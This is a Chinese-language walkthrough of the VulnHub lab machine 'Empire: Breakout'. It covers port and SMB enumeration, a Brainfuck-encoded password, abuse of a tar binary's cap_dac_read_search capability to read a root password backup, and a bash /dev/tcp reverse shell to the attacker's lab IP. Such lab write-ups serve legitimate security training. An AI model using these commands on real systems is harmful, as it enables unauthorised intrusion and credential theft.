Vulnhub靶机——EMPIRE: BREAKOUT

靶机地址

Empire: Breakout ~ VulnHub

渗透关键点

（1）tar文件具有可执行权，并且具备跨目录读取任意文件的特殊权限

（2）backups（备份文件）中存在信息敏感文件

渗透思路总结

（1）信息收集（端口信息，源码泄露，服务扫描）

（2）利用tar文件的特殊权限实现任意文件读取

（3）su登录失败则执行反弹shell

渗透流程

一、信息收集

（1）明确目标

        靶机IP（192.168.186.156）

        攻击机IP（192.168.186.135）

（2）端口扫描（开放端口、服务以及操作系统版本）

nmap -sV -p- -O 192.168.186.156

二、HTTP端口探测

1.80端口测试

（1）访问80端口（靶机IP+端口号）

（2）查看页面源码（观察是否有敏感信息泄露）

        特殊信息：brainfuck编码

（3）bringfuck编码解密（可能是密码）

.2uqPEfj3D<P'a-3

2.端口10000测试

（1）访问可能出现报错（http访问即可）

（2）10000端口是后台登录端

（3）源码检查

3.端口20000测试

（1）访问可能出现报错（http访问即可）

（2）20000端口是用户登录端

（3）源码检查

三、SMB服务探测

服务器开放smb服务，因此使用enum4linux进行针对SMB服务的信息收集

（enum4linux是SMB服务（文件共享协议）专用枚举型扫描器）（拿到用户名）

enum4linux -a 192.168.186.156

四、信息利用

（1）利用账号密码尝试登录平台

（2）成功登录20000端口的用户平台

（3）寻找可用功能点（左下角具备开启用户shell功能）

五、提权

（1）发现敏感文件tar，查看tar文件权限（具有可执行权）

ls -l tar

（2）getcap命令查看tar文件是否具备特殊权限

（特殊权限可以让特定文件在没有root权限情况下对其他文件进行特权操作）

getcap tar

（3）cap_dac_read_search：忽略文件读以及目录搜寻的限制

tar文件具有可执行权，并且具有跨目录读取任意文件的特殊权限

因此可以利用tar文件对重要信息文件进行打包再解压处理，从而实现绕过文件权限限制

（4）回到根目录搜寻信息文件（var/backups/目录下发现隐藏文件.old_pass.bak）

（5）直接访问，发现没有权限

（6）记录文件路径，回到tar文件所在目录下（不回到tar目录下的话是无法使用tar文件的）

        将.old_pass.bak文件压缩为yeah.tar文件包

./tar -cvf yeah.tar /var/backups/.old_pass.bak

（7）解压yeah文件包，实现权限绕过

        拿到root密码：Ts&4&YurgtRX(=~h

tar -xvf yeah.tar

（8）su登录失败，进行反弹shell处理

六、反弹shell

（1）开启监听端口

nc -lvp 6666

（2）靶机输入（bash -i >& /dev/tcp/kali的IP/监听端口号0>&1）

bash -i >& /dev/tcp/192.168.186.135/6666 0>&1

（3）成功反弹shell，登陆root用户，提权成功

（4）反弹shell连接时候如果出现连接超时的情况

（排查靶机和攻击机的网关设置模式，同为NAT模式或者同为桥接模式）